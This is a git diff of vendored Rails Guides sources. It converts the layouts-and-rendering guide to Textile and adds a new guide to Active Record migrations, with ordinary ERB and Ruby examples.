-You can use these tags in layouts or other views, although the tags other than +image_tag+ are most commonly used in the +<head>+ section of a layout.
+You can use these tags in layouts or other views, although the tags other than +image_tag+ are most commonly used in the +&lt;head&gt;+ section of a layout.
 
 WARNING: The asset tags do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.
 
-==== Linking to Feeds with +auto_discovery_link_tag+
+h5. Linking to Feeds with +auto_discovery_link_tag+
 
-The +auto_discovery_link_tag helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag:
+The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag:
 
-[source, ruby]
--------------------------------------------------------
-<%= auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "RSS Feed"}) %>
--------------------------------------------------------
+<erb>
+<%= auto_discovery_link_tag(:rss, {:action => "feed"}, 
+  {:title => "RSS Feed"}) %>
+</erb>
 
 There are three tag options available for +auto_discovery_link_tag+:
 
@@ -514,162 +543,143 @@ There are three tag options available for +auto_discovery_link_tag+:
 * +:type+ specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically
 * +:title+ specifies the title of the link
 
-==== Linking to Javascript Files with +javascript_include_tag+
+h5. Linking to Javascript Files with +javascript_include_tag+
 
-The +javascript_include_tag+ helper returns an HTML +<script>+ tag for each source provided. Rails looks in +public/javascripts+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/javascripts/main.js+:
-	
-[source, ruby]
--------------------------------------------------------
+The +javascript_include_tag+ helper returns an HTML +script+ tag for each source provided. Rails looks in +public/javascripts+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/javascripts/main.js+:
+
+<erb>
 <%= javascript_include_tag "main" %>
--------------------------------------------------------
+</erb>
 
 To include +public/javascripts/main.js+ and +public/javascripts/columns.js+:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <%= javascript_include_tag "main", "columns" %>
--------------------------------------------------------
+</erb>
 
 To include +public/javascripts/main.js+ and +public/photos/columns.js+:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <%= javascript_include_tag "main", "/photos/columns" %>
--------------------------------------------------------
+</erb>
 
 To include +http://example.com/main.js+:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <%= javascript_include_tag "http://example.com/main.js" %>
--------------------------------------------------------
+</erb>
 
 The +defaults+ option loads the Prototype and Scriptaculous libraries:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <%= javascript_include_tag :defaults %>
--------------------------------------------------------
+</erb>
 
 The +all+ option loads every javascript file in +public/javascripts+, starting with the Prototype and Scriptaculous libraries:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <%= javascript_include_tag :all %>
--------------------------------------------------------
+</erb>
 
 You can supply the +:recursive+ option to load files in subfolders of +public/javascripts+ as well:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <%= javascript_include_tag :all, :recursive => true %>
--------------------------------------------------------
+</erb>
 
 If you're loading multiple javascript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +javascript_include_tag+:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <%= javascript_include_tag "main", "columns", :cache => true %>
--------------------------------------------------------
+</erb>
 
 By default, the combined file will be delivered as +javascripts/all.js+. You can specify a location for the cached asset file instead:
 
-[source, ruby]
--------------------------------------------------------
-<%= javascript_include_tag "main", "columns", :cache => 'cache/main/display' %>
--------------------------------------------------------
+<erb>
+<%= javascript_include_tag "main", "columns", 
+  :cache => 'cache/main/display' %>
+</erb>
 
-You can even use dynamic paths such as "cache/#{current_site}/main/display"+.
-	
-==== Linking to CSS Files with +stylesheet_link_tag+
+You can even use dynamic paths such as +cache/#{current_site}/main/display+.
+
+h5. Linking to CSS Files with +stylesheet_link_tag+
 
 The +stylesheet_link_tag+ helper returns an HTML +<link>+ tag for each source provided. Rails looks in +public/stylesheets+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/stylesheets/main.cs+:
-	
-[source, ruby]
--------------------------------------------------------
+
+<erb>
 <%= stylesheet_link_tag "main" %>
--------------------------------------------------------
+</erb>
 
 To include +public/stylesheets/main.css+ and +public/stylesheets/columns.css+:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <%= stylesheet_link_tag "main", "columns" %>
--------------------------------------------------------
+</erb>
 
 To include +public/stylesheets/main.css+ and +public/photos/columns.css+:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <%= stylesheet_link_tag "main", "/photos/columns" %>
--------------------------------------------------------
+</erb>
 
 To include +http://example.com/main.cs+:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <%= stylesheet_link_tag "http://example.com/main.cs" %>
--------------------------------------------------------
+</erb>
 
 By default, +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet" type="text/css"+. You can override any of these defaults by specifying an appropriate option (:media, :rel, or :type):
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <%= stylesheet_link_tag "main_print", media => "print" %>
--------------------------------------------------------
+</erb>
 
 The +all+ option links every CSS file in +public/stylesheets+:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <%= stylesheet_link_tag :all %>
--------------------------------------------------------
+</erb>
 
 You can supply the +:recursive+ option to link files in subfolders of +public/stylesheets+ as well:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <%= stylesheet_link_tag :all, :recursive => true %>
--------------------------------------------------------
+</erb>
 
 If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +stylesheet_link_tag+:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <%= stylesheet_link_tag "main", "columns", :cache => true %>
--------------------------------------------------------
-	
+</erb>
+
 By default, the combined file will be delivered as +stylesheets/all.css+. You can specify a location for the cached asset file instead:
 
-[source, ruby]
--------------------------------------------------------
-<%= stylesheet_link_tag "main", "columns", :cache => 'cache/main/display' %>
--------------------------------------------------------
+<erb>
+<%= stylesheet_link_tag "main", "columns", 
+  :cache => 'cache/main/display' %>
+</erb>
 
-You can even use dynamic paths such as "cache/#{current_site}/main/display"+.
-	
-==== Linking to Images with +image_tag+
+You can even use dynamic paths such as +cache/#{current_site}/main/display+.
 
-The +image_tag+ helper builds an HTML +<image>+ tag to the specified file. By default, files are loaded from +public/images+. If you don't specify an extension, .png is assumed by default:
+h5. Linking to Images with +image_tag+
 
-[source, ruby]
--------------------------------------------------------
+The +image_tag+ helper builds an HTML +&lt;image&gt;+ tag to the specified file. By default, files are loaded from +public/images+. If you don't specify an extension, +.png+ is assumed by default:
+
+<erb>
 <%= image_tag "header" %>
--------------------------------------------------------
+</erb>
 
 You can supply a path to the image if you like:
-	
-[source, ruby]
--------------------------------------------------------
+
+<erb>
 <%= image_tag "icons/delete.gif" %>
--------------------------------------------------------
+</erb>
 
 You can supply a hash of additional HTML options:
-	
-[source, ruby]
--------------------------------------------------------
+
+<erb>
 <%= image_tag "icons/delete.gif", :height => 45 %>
--------------------------------------------------------
+</erb>
 
 There are also three special options you can use with +image_tag+:
 
@@ -677,94 +687,87 @@ There are also three special options you can use with +image_tag+:
 * +:size+ specifies both width and height, in the format "{width}x{height}" (for example, "150x125")
 * +:mouseover+ sets an alternate image to be used when the onmouseover event is fired.
 
-=== Understanding +yield+
+h4. Understanding +yield+
 
 Within the context of a layout, +yield+ identifies a section where content from the view should be inserted. The simplest way to use this is to have a single +yield+, into which the entire contents of the view currently being rendered is inserted:
 
-[source, html]
--------------------------------------------------------
+<erb>
 <html>
   <head>
   </head>
   <body>
-	<%= yield %>
-  <hbody>
+  <%= yield %>
+  </body>
 </html>
--------------------------------------------------------
+</erb>
 
 You can also create a layout with multiple yielding regions:
 
-[source, html]
--------------------------------------------------------
+<erb>
 <html>
   <head>
-	<%= yield :head %>
+  <%= yield :head %>
   </head>
   <body>
-	<%= yield %>
-  <hbody>
+  <%= yield %>
+  </body>
 </html>
--------------------------------------------------------
+</erb>
 
 The main body of the view will always render into the unnamed +yield+. To render content into a named +yield+, you use the +content_for+ method.
 
-=== Using +content_for+
+h4. Using +content_for+
 
 The +content_for+ method allows you to insert content into a +yield+ block in your layout. You only use +content_for+ to insert content in named yields. For example, this view would work with the layout that you just saw:
 
-[source, html]
--------------------------------------------------------
+<erb>
 <% content_for :head do %>
   <title>A simple page</title>
 <% end %>
 
 <p>Hello, Rails!</p>
--------------------------------------------------------
+</erb>
 
 The result of rendering this page into the supplied layout would be this HTML:
 
-[source, html]
--------------------------------------------------------
+<erb>
 <html>
   <head>
-	<title>A simple page</title>
+  <title>A simple page</title>
   </head>
   <body>
-	<p>Hello, Rails!</p>
-  <hbody>
+  <p>Hello, Rails!</p>
+  </body>
 </html>
--------------------------------------------------------
+</erb>
 
-The +content_for+ method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific javascript or css files into the header of an otherwise-generic layout.
+The +content_for+ method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific javascript or css files into the header of an otherwise generic layout.
 
-=== Using Partials
+h4. Using Partials
 
-Partial templates - usually just called "partials" - are another device for breaking apart the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file. 
+Partial templates - usually just called "partials" - are another device for breaking apart the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.
 
-==== Naming Partials
+h5. Naming Partials
 
 To render a partial as part of a view, you use the +render+ method within the view, and include the +:partial+ option:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 <%= render :partial => "menu" %>
--------------------------------------------------------
+</ruby>
 
 This will render a file named +_menu.html.erb+ at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 <%= render :partial => "shared/menu" %>
--------------------------------------------------------
+</ruby>
 
 That code will pull in the partial from +app/views/shared/_menu.html.erb+.
 
-==== Using Partials to Simplify Views
+h5. Using Partials to Simplify Views
 
 One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
 
-[source, html]
--------------------------------------------------------
+<erb>
 <%= render :partial => "shared/ad_banner" %>
 
 <h1>Products</h1>
@@ -773,107 +776,100 @@ One way to use partials is to treat them as the equivalent of subroutines: as a
 ...
 
 <%= render :partial => "shared/footer" %>
--------------------------------------------------------
+</erb>
 
 Here, the +_ad_banner.html.erb+ and +_footer.html.erb+ partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
 
 TIP: For content that is shared among all pages in your application, you can use partials directly from layouts.
 
-==== Partial Layouts
+h5. Partial Layouts
 
 A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:
 
-[source, html]
--------------------------------------------------------
+<erb>
 <%= render :partial => "link_area", :layout => "graybar" %>
--------------------------------------------------------
+</erb>
 
 This would look for a partial named +_link_area.html.erb+ and render it using the layout +_graybar.html.erb+. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master +layouts+ folder).
 
-==== Passing Local Variables
+h5. Passing Local Variables
 
 You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:
 
-+new.html.erb+:
+* +new.html.erb+
 
-[source, html]
--------------------------------------------------------
+<erb>
 <h1>New zone</h1>
 <%= error_messages_for :zone %>
-<%= render :partial => "form", :locals => { :button_label => "Create zone", :zone => @zone } %>
--------------------------------------------------------
+<%= render :partial => "form", :locals => 
+  { :button_label => "Create zone", :zone => @zone } %>
+</erb>
 
-+edit.html.erb+:
+* +edit.html.erb+
 
-[source, html]
--------------------------------------------------------
+<erb>
 <h1>Editing zone</h1>
 <%= error_messages_for :zone %>
-<%= render :partial => "form", :locals => { :button_label => "Update zone", :zone => @zone } %>
--------------------------------------------------------
+<%= render :partial => "form", :locals => 
+  { :button_label => "Update zone", :zone => @zone } %>
+</erb>
 
-+_form.html.erb:+
+* +_form.html.erb+
 
-[source, html]
--------------------------------------------------------
+<erb>
 <% form_for(zone) do |f| %>
-	<p>
-	  <b>Zone name</b><br />
-	  <%= f.text_field :name %>
-	</p>
+  <p>
+    <b>Zone name</b><br />
+    <%= f.text_field :name %>
+  </p>
   <p>
     <%= f.submit button_label %>
   </p>
 <% end %>
--------------------------------------------------------
+</erb>
 
 Although the same partial will be rendered into both views, the label on the submit button is controlled by a local variable passed into the partial.
 
 Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the +:object+ option:
 
-[source, html]
--------------------------------------------------------
+<erb>
 <%= render :partial => "customer", :object => @new_customer %>
--------------------------------------------------------
+</erb>
 
-Within the +customer+ partial, the +@customer+ variable will refer to +@new_customer+ from the parent view.
+Within the +customer+ partial, the +customer+ variable will refer to +@new_customer+ from the parent view.
 
 WARNING: In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior is deprecated in Rails 2.2 and will be removed in a future version.
 
 If you have an instance of a model to render into a partial, you can use a shorthand syntax:
 
-[source, html]
--------------------------------------------------------
+<erb>
 <%= render :partial => @customer %>
--------------------------------------------------------
+</erb>
 
 Assuming that the +@customer+ instance variable contains an instance of the +Customer+ model, this will use +_customer.html.erb+ to render it.
 
-==== Rendering Collections 
+h5. Rendering Collections
 
 Partials are very useful in rendering collections. When you pass a collection to a partial via the +:collection+ option, the partial will be inserted once for each member in the collection:
 
-+index.html.erb+:
+* +index.html.erb+
 
-[source, html]
--------------------------------------------------------
+<erb>
 <h1>Products</h1>
 <%= render :partial => "product", :collection => @products %>
--------------------------------------------------------
+</erb>
 
-+_product.html.erb+:
+* +_product.html.erb+
 
-[source, html]
--------------------------------------------------------
+<erb>
 <p>Product Name: <%= product.name %></p>
--------------------------------------------------------
+</erb>
 
-When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is +_product, and within the +_product+ partial, you can refer to +product+ to get the instance that is being rendered. To use a custom local variable name within the partial, specify the +:as+ option in the call to the partial:
+When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is +_product+, and within the +_product+ partial, you can refer to +product+ to get the instance that is being rendered. To use a custom local variable name within the partial, specify the +:as+ option in the call to the partial:
 
-[source, html]
--------------------------------------------------------
+<erb>
 <%= render :partial => "product", :collection => @products, :as => :item %>
--------------------------------------------------------
+</erb>
 
 With this change, you can access an instance of the +@products+ collection as the +item+ local variable within the partial.
 
@@ -881,102 +877,103 @@ TIP: Rails also makes a counter variable available within a partial called by th
 
 You can also specify a second partial to be rendered between instances of the main partial by using the +:spacer_template+ option:
 
-[source, html]
--------------------------------------------------------
-<%= render :partial => "product", :collection => @products, :spacer_template => "product_ruler" %>
--------------------------------------------------------
+<erb>
+<%= render :partial => "product", :collection => @products, 
+  :spacer_template => "product_ruler" %>
+</erb>
 
 Rails will render the +_product_ruler+ partial (with no data passed in to it) between each pair of +_product+ partials.
 
 There's also a shorthand syntax available for rendering collections. For example, if +@products+ is a collection of products, you can render the collection this way:
 
-+index.html.erb+:
+* +index.html.erb+
 
-[source, html]
--------------------------------------------------------
+<erb>
 <h1>Products</h1>
 <%= render :partial => @products %>
--------------------------------------------------------
+</erb>
 
-+_product.html.erb+:
+* +_product.html.erb+
 
-[source, html]
--------------------------------------------------------
+<erb>
 <p>Product Name: <%= product.name %></p>
--------------------------------------------------------
+</erb>
 
 Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:
 
-+index.html.erb+:
+* +index.html.erb+
 
-[source, html]
--------------------------------------------------------
+<erb>
 <h1>Contacts</h1>
-<%= render :partial => [customer1, employee1, customer2, employee2] %>
--------------------------------------------------------
+<%= render :partial => 
+  [customer1, employee1, customer2, employee2] %>
+</erb>
 
-+_customer.html.erb+:
+* +_customer.html.erb+
 
-[source, html]
--------------------------------------------------------
+<erb>
 <p>Name: <%= customer.name %></p>
--------------------------------------------------------
+</erb>
 
-+_employee.html.erb+:
+* +_employee.html.erb+
 
-[source, html]
--------------------------------------------------------
+<erb>
 <p>Name: <%= employee.name %></p>
--------------------------------------------------------
+</erb>
 
 In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.
 
-== Changelog ==
-
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/15[Lighthouse ticket]
-
-* November 9, 2008: Added partial collection counter by link:../authors.html#mgunderloy[Mike Gunderloy] 
-* November 1, 2008: Added +:js+ option for +render+ by link:../authors.html#mgunderloy[Mike Gunderloy] 
-* October 16, 2008: Ready for publication by link:../authors.html#mgunderloy[Mike Gunderloy] 
-* October 4, 2008: Additional info on partials (+:object+, +:as+, and +:spacer_template+) by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
-* September 28, 2008: First draft by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+h4. Using Nested Layouts
 
+You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here's an example:
 
+Suppose you have the follow +ApplicationController+ layout:
 
+* +app/views/layouts/application.html.erb+
 
+<erb>
+<html>
+<head>
+  <title><%= @page_title or 'Page Title' %></title>
+  <%= stylesheet_link_tag 'layout' %>
+  <style type="text/css"><%= yield :stylesheets %></style>
+</head>
+<body>
+  <div id="top_menu">Top menu items here</div>
+  <div id="menu">Menu items here</div>
+  <div id="content"><%= yield(:content) or yield %></div>
+</body>
+</html>
+</erb>
 
+On pages generated by +NewsController+, you want to hide the top menu and add a right menu:
 
+* +app/views/layouts/news.html.erb+
 
+<erb>
+<% content_for :stylesheets do %>
+  #top_menu {display: none}
+  #right_menu {float: right; background-color: yellow; color: black}
+<% end -%>
+<% content_for :content do %>
+  <div id="right_menu">Right menu items here</div>
+  <%= yield(:news_content) or yield %>
+  <% end -%>
+<% render :file => 'layouts/application' %>
+</erb>
 
+That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div.
 
+There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render :file => 'layouts/news'+ to base a new layout on the News layout. If one is sure she will not subtemplate the +News+ layout, she can ommit the +yield(:news_content) or + part.
 
+h3. Changelog
 
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/15
 
+* December 27, 2008: Merge patch from Rodrigo Rosenfeld Rosas covering subtemplates
+* December 27, 2008: Information on new rendering defaults by "Mike Gunderloy":credits.html#mgunderloy
+* November 9, 2008: Added partial collection counter by "Mike Gunderloy":credits.html#mgunderloy
+* November 1, 2008: Added +:js+ option for +render+ by "Mike Gunderloy":credits.html#mgunderloy
+* October 16, 2008: Ready for publication by "Mike Gunderloy":credits.html#mgunderloy
+* October 4, 2008: Additional info on partials (+:object+, +:as+, and +:spacer_template+) by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
+* September 28, 2008: First draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
diff --git a/vendor/rails/railties/guides/source/migrations.textile b/vendor/rails/railties/guides/source/migrations.textile
new file mode 100644
index 00000000..5ed94c30
--- /dev/null
+++ b/vendor/rails/railties/guides/source/migrations.textile
@@ -0,0 +1,591 @@
+h2. Migrations
+
+Migrations are a convenient way for you to alter your database in a structured and organised manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run it. You'd also have to keep track of which changes need to be run against the production machines next time you deploy.
+
+Active Record tracks which migrations have already been run so all you have to do is update your source and run +rake db:migrate+. Active Record will work out which migrations should be run. It will also update your +db/schema.rb+ file to match the structure of your database.
+
+Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record's functionality) it is database independent: you don't need to worry about the precise syntax of +CREATE TABLE+ any more that you worry about variations on +SELECT *+ (you can drop down to raw SQL for database specific features). For example you could use SQLite3 in development, but MySQL in production.
+
+You'll learn all about migrations including:
+
+* The generators you can use to create them
+* The methods Active Record provides to manipulate your database
+* The Rake tasks that manipulate them
+* How they relate to +schema.rb+
+
+endprologue.
+
+h3. Anatomy of a Migration
+
+Before I dive into the details of a migration, here are a few examples of the sorts of things you can do:
+
+<ruby>
+class CreateProducts < ActiveRecord::Migration
+  def self.up
+    create_table :products do |t|
+      t.string :name
+      t.text :description
+
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :products
+  end
+end
+</ruby>
+
+This migration adds a table called +products+ with a string column called +name+ and a text column called +description+. A primary key column called +id+ will also be added, however since this is the default we do not need to ask for this. The timestamp columns +created_at+ and +updated_at+ which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table.
+
+Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields:
+
+<ruby>
+class AddReceiveNewsletterToUsers < ActiveRecord::Migration
+  def self.up
+    change_table :users do |t|
+      t.boolean :receive_newsletter, :default => false
+    end
+    User.update_all ["receive_newsletter = ?", true]
+  end
+
+  def self.down
+    remove_column :users, :receive_newsletter
+  end
+end
+</ruby>
+
+This migration adds a +receive_newsletter+ column to the +users+ table. We want it to default to +false+ for new users, but existing users are considered
+to have already opted in, so we use the User model to set the flag to +true+ for existing users.
+
+NOTE: Some "caveats":#using-models-in-your-migrations apply to using models in your migrations.
+
+h4. Migrations are Classes
+
+A migration is a subclass of <tt>ActiveRecord::Migration</tt> that implements two class methods: +up+ (perform the required transformations) and +down+ (revert them).
+
+Active Record provides methods that perform common data definition tasks in a database independent way (you'll read about them in detail later):
+
+* +create_table+
+* +change_table+
+* +drop_table+
+* +add_column+
+* +change_column+
+* +rename_column+
+* +remove_column+
+* +add_index+
+* +remove_index+
+
+If you need to perform tasks specific to your database (for example create a "foreign key":#active-record-and-referential-integrity constraint) then the +execute+ function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models).
+
+On databases that support transactions with statements that change the schema (such as PostgreSQL), migrations are wrapped in a transaction. If the database does not support this (for example MySQL and SQLite) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand.
+
+h4. What's in a Name
+
+Migrations are stored in files in +db/migrate+, one for each migration class. The name of the file is of the form +YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The migration class' name must match (the camelcased version of) the latter part of the file name. For example +20080906120000_create_products.rb+ should define +CreateProducts+ and +20080906120001_add_details_to_products.rb+ should define +AddDetailsToProducts+. If you do feel the need to change the file name then you <em>have to</em> update the name of the class inside or Rails will complain about a missing class.
+
+Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by setting +config.active_record.timestamped_migrations+ to +false+ in +config/environment.rb+.
+
+The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers.
+
+For example Alice adds migrations +20080906120000+ and +20080906123000+ and Bob adds +20080906124500+ and runs it. Alice finishes her changes and checks in her migrations and Bob pulls down the latest changes. Rails knows that it has not run Alice's two migrations so +rake db:migrate+ would run them (even though Bob's migration with a later timestamp has been run), and similarly migrating down would not run their +down+ methods.
+
+Of course this is no substitution for communication within the team. For example, if Alice's migration removed a table that Bob's migration assumed to exist, then trouble would certainly strike.
+
+h4. Changing Migrations
+
+Occasionally you will make a mistake when writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run +rake db:migrate+. You must rollback the migration (for example with +rake db:rollback+), edit your migration and then run +rake db:migrate+ to run the corrected version.
+
+In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. Just use some common sense.
+
+h3. Creating a Migration
+
+h4. Creating a Model
+
+The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running
+
+<shell>
+ruby script/generate model Product name:string description:text
+</shell>
+
+will create a migration that looks like this
+
+<ruby>
+class CreateProducts < ActiveRecord::Migration
+  def self.up
+    create_table :products do |t|
+      t.string :name
+      t.text :description
+
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :products
+  end
+end
+</ruby>
+
+You can append as many column name/type pairs as you want. By default +t.timestamps+ (which creates the +updated_at+ and +created_at+ columns that
+are automatically populated by Active Record) will be added for you.
+
+h4. Creating a Standalone Migration
+
+If you are creating migrations for other purposes (for example to add a column to an existing table) then you can use the migration generator:
+
+<shell>
+ruby script/generate migration AddPartNumberToProducts
+</shell>
+
+This will create an empty but appropriately named migration:
+
+<ruby>
+class AddPartNumberToProducts < ActiveRecord::Migration
+  def self.up
+  end
+
+  def self.down
+  end
+end
+</ruby>
+
+If the migration name is of the form "AddXXXToYYY" or "RemoveXXXFromYYY" and is followed by a list of column names and types then a migration containing the appropriate +add_column+ and +remove_column+ statements will be created.
+
+<shell>
+ruby script/generate migration AddPartNumberToProducts part_number:string
+</shell>
+
+will generate
+
+<ruby>
+class AddPartNumberToProducts < ActiveRecord::Migration
+  def self.up
+    add_column :products, :part_number, :string
+  end
+
+  def self.down
+    remove_column :products, :part_number
+  end
+end
+</ruby>
+
+Similarly,
+
+<shell>
+ruby script/generate migration RemovePartNumberFromProducts part_number:string
+</shell>
+
+generates
+
+<ruby>
+class RemovePartNumberFromProducts < ActiveRecord::Migration
+  def self.up
+    remove_column :products, :part_number
+  end
+
+  def self.down
+    add_column :products, :part_number, :string
+  end
+end
+</ruby>
+
+You are not limited to one magically generated column, for example
+
+<shell>
+ruby script/generate migration AddDetailsToProducts part_number:string price:decimal
+</shell>
+
+generates
+
+<ruby>
+class AddDetailsToProducts < ActiveRecord::Migration
+  def self.up
+    add_column :products, :part_number, :string
+    add_column :products, :price, :decimal
+  end
+
+  def self.down
+    remove_column :products, :price
+    remove_column :products, :part_number
+  end
+end
+</ruby>
+
+As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit.
+
+h3. Writing a Migration
+
+Once you have created your migration using one of the generators it's time to get to work!
+
+h4. Creating a Table
+
+Migration method +create_table+ will be one of your workhorses. A typical use would be
+
+<ruby>
+create_table :products do |t|
+  t.string :name
+end
+</ruby>
+
+which creates a +products+ table with a column called +name+ (and as discussed below, an implicit +id+ column).
+
+The object yielded to the block allows you create columns on the table. There are two ways of doing this: The first (traditional) form looks like
+
+<ruby>
+create_table :products do |t|
+  t.column :name, :string, :null => false
+end
+</ruby>
+
+the second form, the so called "sexy" migration, drops the somewhat redundant +column+ method. Instead, the +string+, +integer+, etc. methods create a column of that type. Subsequent parameters are the same.
+
+<ruby>
+create_table :products do |t|
+  t.string :name, :null => false
+end
+</ruby>
+
+By default +create_table+ will create a primary key called +id+. You can change the name of the primary key with the +:primary_key+ option (don't forget to update the corresponding model) or if you don't want a primary key at all (for example for a HABTM join table) you can pass +:id => false+. If you need to pass database specific options you can place an SQL fragment in the +:options+ option. For example
+
+<ruby>
+create_table :products, :options => "ENGINE=BLACKHOLE" do |t|
+  t.string :name, :null => false
+end
+</ruby>
+
+will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table (when using MySQL the default is +ENGINE=InnoDB+).
+
+The types supported by Active Record are +:primary_key+, +:string+, +:text+, +:integer+, +:float+, +:decimal+, +:datetime+, +:timestamp+, +:time+, +:date+, +:binary+, +:boolean+.
+
+These will be mapped onto an appropriate underlying database type, for example with MySQL +:string+ is mapped to +VARCHAR(255)+. You can create columns of types not supported by Active Record when using the non-sexy syntax, for example
+
+<ruby>
+create_table :products do |t|
+  t.column :name, 'polygon', :null => false
+end
+</ruby>
+
+This may however hinder portability to other databases.
+
+h4. Changing Tables
+
+A close cousin of +create_table+ is +change_table+, used for changing existing tables. It is used in a similar fashion to +create_table+ but the object yielded to the block knows more tricks. For example
+
+<ruby>
+change_table :products do |t|
+  t.remove :description, :name
+  t.string :part_number
+  t.index :part_number
+  t.rename :upccode, :upc_code
+end
+</ruby>
+removes the +description+ and +name+ columns, creates a +part_number+ column and adds an index on it. Finally it renames the +upccode+ column.   This is the same as doing
+
+<ruby>
+remove_column :products, :description
+remove_column :products, :name
+add_column :products, :part_number, :string
+add_index :products, :part_number
+rename_column :products, :upccode, :upc_code
+</ruby>
+
+You don't have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example +remove_column+ becomes just +remove+ and +add_index+ becomes just +index+.
+
+h4. Special Helpers
+
+Active Record provides some shortcuts for common functionality. It is for example very common to add both the +created_at+ and +updated_at+ columns and so there is a method that does exactly that:
+
+<ruby>
+create_table :products do |t|
+  t.timestamps
+end
+</ruby>
+will create a new products table with those two columns (plus the +id+ column) whereas
+
+<ruby>
+change_table :products do |t|
+  t.timestamps
+end
+</ruby>
+adds those columns to an existing table.
+
